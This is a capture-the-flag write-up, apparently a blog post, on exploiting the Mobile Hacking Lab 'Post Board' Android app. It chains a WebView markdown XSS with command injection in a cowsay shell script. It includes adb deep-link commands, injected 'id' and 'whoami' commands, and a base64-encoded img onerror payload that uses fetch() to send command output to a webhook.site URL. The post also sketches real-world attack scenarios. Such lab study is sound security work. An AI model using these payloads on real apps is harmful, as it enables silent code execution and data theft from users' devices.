# Mobile Hacking Lab: Post Board - WebView XSS to RCE Challenge

**Objective:** Exploit XSS vulnerability in WebView's markdown parser to achieve Remote Code Execution via command injection

This was a fascinating challenge from Mobile Hacking Lab that combined web security (XSS) with Android security (command injection). What made it interesting was that it made me thinking about real-world exploitation, not just getting RCE via direct deep links, but weaponizing it through XSS so an attacker could send a malicious link to a victim and exfiltrate the data, Let me walk you through my journey.

## Initial Reconnaissance - The Challenge Description

The challenge description immediately pointed to WebView vulnerabilities:

* XSS vulnerability in WebView component
    
* Exposed Java interface to JavaScript
    
* Goal: Chain XSS → RCE
    

My first instinct: *This is going to involve* `addJavascriptInterface`.

## Decompiling the APK - Finding Entry Points

Started with JADX to examine the AndroidManifest.xml:

```xml
<activity android:name=".MainActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="postboard" 
              android:host="postmessage"/>
    </intent-filter>
</activity>
```

**Discovery:** Deep link handler - `postboard://postmessage/`

This meant I could trigger functionality from outside the app via ADB or a malicious link.  
  
I immediately opened something like this to see what happens

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770088014922/f2ae8060-b2fc-43a2-a669-8b9695107f66.png align="center")

## The Deep Link Handler - Understanding the Flow

I then started examining `MainActivity.handleIntent()`:

```java
private final void handleIntent() {
    Intent intent = getIntent();
    String action = intent.getAction();
    Uri data = intent.getData();
    
    if (!Intrinsics.areEqual("android.intent.action.VIEW", action) || 
        data == null || 
        !Intrinsics.areEqual(data.getScheme(), "postboard") || 
        !Intrinsics.areEqual(data.getHost(), "postmessage")) {
        return;
    }
    
    try {
        String path = data.getPath();
        // Drops the leading '/' character
        byte[] bArrDecode = Base64.decode(
            path != null ? StringsKt.drop(path, 1) : null, 8);
        String message = new String(bArrDecode, Charsets.UTF_8);
        
        // Single quote escaping
        message = StringsKt.replace$default(message, "'", "\\'", false, 4, null);
        
        // Loads into WebView
        binding.webView.loadUrl(
            "javascript:WebAppInterface.postMarkdownMessage('" + message + "')");
            
    } catch (Exception e) {
        // Error path - triggers cowsay
        binding.webView.loadUrl(
            "javascript:WebAppInterface.postCowsayMessage('" + e.getMessage() + "')");
    }
}
```

**Key observations:**

1. Path after `/` is base64 decoded
    
2. Single quotes are escaped: `'` → `\'`
    
3. Success path: calls `postMarkdownMessage()`
    
4. **Error path: calls** `postCowsayMessage()` with exception message
    

So I could also do  

```bash
adb shell am start -a android.intent.action.VIEW -d "postboard://postmessage/$(echo -n 'hello' | base64)"
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770088119294/d8176abc-55ac-4032-9ffc-a434a370c12c.png align="center")

## First Approach - The Markdown XSS Hunt

I examined `WebAppInterface.postMarkdownMessage()` - it had tons of regex replacements converting markdown to HTML:

```java
@JavascriptInterface
public final void postMarkdownMessage(String markdownMessage) {
    // Image: ![alt](url) → <img src='url' alt='alt'/>
    String html3 = new Regex("!\\[(.*?)\\]\\((.*?)\\)")
        .replace(html2, "<img src='$2' alt='$1'/>");
    
    // Links: [text](url) → <a href='url'>text</a>
    String html13 = new Regex("\\[([^\\[]+)\\]\\(([^)]+)\\)")
        .replace(html12, "<a href='$2'>$1</a>");
    
    // More markdown parsing...
}
```

  
**My thinking:** If I can inject HTML through markdown syntax, I can get XSS.

Hence I tried with simplest payload

```java
<img src=x onerror=alert(1)>

adb shell am start -a android.intent.action.VIEW -d "postboard://postmessage/PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770088231274/7f2b8a49-80e3-4f6d-b61d-9d24ff997899.png align="center")

XSS was executed, but what harm would this cause in a real world scenario? likely None

## My Initial Instinct - The Cowsay Vector

While everything was focused on the markdown parser, I kept thinking about this code in the assets:

```bash
#!/bin/sh
# cowsay.sh

main() {
    if [ "$#" -lt 1 ]; then
        printf "Usage: %s <message>\\n" "$0"
        exit 1
    fi
    
    message="$*"
    print_message "$message"
    print_cow
}

main "$@"
```

**My thought:** This shell script takes user input directly. That's a classic command injection vulnerability.

Looking at how it's called:

```java
public final String runCowsay(String message) {
    String[] command = {"/bin/sh", "-c", 
                       CowsayUtil.scriptPath + ' ' + message};
    Process process = Runtime.getRuntime().exec(command);
    // Read output...
}
```

**Vulnerable!** The message is concatenated directly into the shell command.

But here's the issue - `postMarkdownMessage()` was the primary path, and `postCowsayMessage()` only triggered on errors.

## The Breakthrough - Error Path Exploitation

Remember that exception handler in `handleIntent()`?

```java
} catch (Exception e) {
    binding.webView.loadUrl(
        "javascript:WebAppInterface.postCowsayMessage('" + e.getMessage() + "')");
}
```

**The key insight:** If I send invalid base64, the exception message contains my raw input!

Testing it:

```java
adb shell am start -a android.intent.action.VIEW -d "postboard://postmessage/helloworld;id"
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770088423193/f5d76a74-693b-4169-858c-0e99f9e013ac.png align="center")

**RCE achieved! via command injection in the error path!**

The flow:

1. Invalid base64 → `Base64.decode()` throws exception
    
2. Exception message = `"invalid;id"` (our raw input)
    
3. Catch block calls: `postCowsayMessage("invalid;id")`
    
4. Shell executes: `/bin/sh -c "`[`cowsay.sh`](http://cowsay.sh) `invalid;id"`
    
5. Shell interprets `;` → runs [`cowsay.sh`](http://cowsay.sh) `invalid` THEN `id`
    

## Real World Thinking - Why XSS to RCE Matters

At this point, we have two separate vulnerabilities:

1. **Direct RCE:** `postboard://postmessage/invalid;whoami`
    
2. **XSS:** `postboard://postmessage/<base64 encoded HTML>`
    

But here's the problem with #1: **It requires the attacker to directly send commands, how would an attacker exfilterate in a real world?**

In a real-world scenario:

* Attacker sends malicious deep link to victim
    
* Victim clicks it (maybe via SMS, email, QR code)
    
* Attacker wants to exfiltrate data back to their server
    

**Challenge:** How do I get the command output back?

Direct command injection via deep link shows output on the device screen, but the attacker can't see it!

**Solution:** Chain XSS → RCE → Data Exfiltration

## Building the Weaponized Payload

The WebView exposes `WebAppInterface` to JavaScript:

```javascript
window.WebAppInterface.postCowsayMessage(message)
window.WebAppInterface.getMessages()
```

My attack chain:

1. Use XSS to call `postCowsayMessage()` with command injection
    
2. Wait for command execution to complete
    
3. Retrieve output via `getMessages()`
    
4. Exfiltrate to attacker's webhook
    

### The Network Challenge

Initially thought: *"I'll use* `curl` or `wget` in the shell command to exfil data" This was the same problem with [Cyclic Challenge](https://devandsecurity.com/mobile-hacking-lab-cyclic-scanner-android-services-challenge) that android busybox doesnt have curl or wget or maybe I am not aware?

```java
~ ❯ adb shell am start -a android.intent.action.VIEW \
  -d "postboard://postmessage/invalid;curl"
Starting: Intent { act=android.intent.action.VIEW dat=postboard://postmessage/invalid }
/system/bin/sh: curl: inaccessible or not found
```

**But wait... The WebView has network access!**

JavaScript's `fetch()` API should works perfectly in WebViews.

## Setting Up the Webhook - Data Exfiltration Endpoint

For those unfamiliar with webhooks, let me explain what they are and why we need them in this attack. A webhook is essentially a URL endpoint that receives HTTP requests. Think of it as a mailbox on the internet, whenever someone sends data to that URL, you can see what was sent.

In our attack scenario:

* We're executing commands on the victim's device (like `id`, `ls`, `cat /data/data/`[`com.app/files/secret.txt`](http://com.app/files/secret.txt))
    
* The command output appears on the victim's screen, but we (the attacker) can't see it
    
* We need a way to send that output back to ourselves
    

[**webhook.site**](http://webhook.site) is free and no signup required, you instantly get a unique URL like: [`https://webhook.site/d67c482a-84da-4bd2-b5ad-0ec49bdd0670`](https://webhook.site/d67c482a-84da-4bd2-b5ad-0ec49bdd0670`) - Any HTTP request to this URL appears in real-time on the webpage - Perfect for testing and CTF challenges

### The Final Payload

```javascript
<img
  src="x"
  onerror="
    WebAppInterface.postCowsayMessage('x;id');

    setTimeout(function () {
      var m = WebAppInterface.getMessages();
      fetch(
        'https://webhook.site/d67c482a-84da-4bd2-b5ad-0ec49bdd0670?d=' +
        btoa(m)
      );
    }, 2000);
  "
>
```

**Why** `setTimeout()`?

* `postCowsayMessage()` triggers async shell execution
    
* Need to wait for command output to be added to cache
    
* Without delay, `getMessages()` returns empty/old data
    

### Encoding and Triggering

Base64 encode the payload (I removed extra spaces from the above payload, earlier section was meant to beautify)

Actual payload

```xml
<img src=x onerror="WebAppInterface.postCowsayMessage('x;id');setTimeout(function(){var m=WebAppInterface.getMessages();fetch('https://webhook.site/d67c482a-84da-4bd2-b5ad-0ec49bdd0670?d='+btoa(m))},2000)">
```

```java
PGltZyBzcmM9eCBvbmVycm9yPSJXZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ3g7aWQnKTtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dmFyIG09V2ViQXBwSW50ZXJmYWNlLmdldE1lc3NhZ2VzKCk7ZmV0Y2goJ2h0dHBzOi8vd2ViaG9vay5zaXRlL2Q2N2M0ODJhLTg0ZGEtNGJkMi1iNWFkLTBlYzQ5YmRkMDY3MD9kPScrYnRvYShtKSl9LDIwMDApIj4=
```

This was the base64 value of the payload, lets send it

## **Bingo Moment**

If you check your webhook, it gets hit, query param `d` contains some values

```xml
https://webhook.site/d67c482a-84da-4bd2-b5ad-0ec49bdd0670?d=WyI8aW1nIHNyYz14IG9uZXJyb3I9XCJXZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ3g7aWQnKTtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dmFyIG09V2ViQXBwSW50ZXJmYWNlLmdldE1lc3NhZ2VzKCk7ZmV0Y2goJ2h0dHBzOlwvXC93ZWJob29rLnNpdGVcL2Q2N2M0ODJhLTg0ZGEtNGJkMi1iNWFkLTBlYzQ5YmRkMDY3MD9kPScrYnRvYShtKSl9LDIwMDApXCI+IiwiPHByZT4gXzxicj4mbHQ7IHggJmd0Ozxicj4gLTxicj4gICAgICAgIFxcICAgXl9fXjxicj4gICAgICAgICBcXCAgKG9vKVxcX19fX19fXzxicj4gICAgICAgICAgICAoX18pXFwgICAgICAgKVxcXC88YnI+ICAgICAgICAgICAgICAgIHx8LS0tLXcgfDxicj4gICAgICAgICAgICAgICAgfHwgICAgIHx8PGJyPnVpZD0xMDM4NSh1MF9hMzg1KSBnaWQ9MTAzODUodTBfYTM4NSkgZ3JvdXBzPTEwMzg1KHUwX2EzODUpLDMwMDMoaW5ldCksOTk5NyhldmVyeWJvZHkpLDIwMzg1KHUwX2EzODVfY2FjaGUpLDUwMzg1KGFsbF9hMzg1KSBjb250ZXh0PXU6cjp1bnRydXN0ZWRfYXBwOnMwOmMxMjksYzI1NyxjNTEyLGM3Njg8YnI+PFwvcHJlPiJd
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770089295957/18d23a7b-117c-4090-b758-1c9fcc652654.png align="center")

```xml
WyI8aW1nIHNyYz14IG9uZXJyb3I9XCJXZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ3g7aWQnKTtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dmFyIG09V2ViQXBwSW50ZXJmYWNlLmdldE1lc3NhZ2VzKCk7ZmV0Y2goJ2h0dHBzOlwvXC93ZWJob29rLnNpdGVcL2Q2N2M0ODJhLTg0ZGEtNGJkMi1iNWFkLTBlYzQ5YmRkMDY3MD9kPScrYnRvYShtKSl9LDIwMDApXCI+IiwiPHByZT4gXzxicj4mbHQ7IHggJmd0Ozxicj4gLTxicj4gICAgICAgIFxcICAgXl9fXjxicj4gICAgICAgICBcXCAgKG9vKVxcX19fX19fXzxicj4gICAgICAgICAgICAoX18pXFwgICAgICAgKVxcXC88YnI+ICAgICAgICAgICAgICAgIHx8LS0tLXcgfDxicj4gICAgICAgICAgICAgICAgfHwgICAgIHx8PGJyPnVpZD0xMDM4NSh1MF9hMzg1KSBnaWQ9MTAzODUodTBfYTM4NSkgZ3JvdXBzPTEwMzg1KHUwX2EzODUpLDMwMDMoaW5ldCksOTk5NyhldmVyeWJvZHkpLDIwMzg1KHUwX2EzODVfY2FjaGUpLDUwMzg1KGFsbF9hMzg1KSBjb250ZXh0PXU6cjp1bnRydXN0ZWRfYXBwOnMwOmMxMjksYzI1NyxjNTEyLGM3Njg8YnI+PFwvcHJlPiJd
```

  
That is in base64, hence lets decode this, you have `id` executed!

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770089355061/ff2c9642-f235-428e-b8d3-49dfd46a380a.png align="center")

## Real World Attack Scenario

**Attacker's perspective:**

In a realworld postboard social app, you would

1. Craft malicious deep link with XSS payload
    
2. Send to victim on your own postboard that other’s can see or send payload via other delivery mechanisms such as sms.
    
3. If this is social postboard victim doesnt even need to click!
    
4. But if delivery mechanism is SMS then yes victim clicks → App opens → XSS executes
    
5. JavaScript:
    
    * Runs arbitrary shell commands
        
    * Extracts sensitive data (contacts, files, app data)
        
    * Exfiltrates to attacker's server
        
6. Victim sees normal app behavior (no visible indicators)
    

**Why this is powerful:**

* No user interaction needed
    
* Bypasses Android's permission model (app's own permissions are used, INTERNET)
    
* Silent data exfiltration
    

As an attacker, you should always think, "How would I weaponize this?" Popping up alert(1) on xss doesn’t do any real damage unless you can ex-filtrate.

*Disclaimer: While all technical work and problem-solving was done by me, this writeup was edited with assistance from an LLM to improve grammar, clarity, and flow.ShareArtifactsDownload allPostboard*
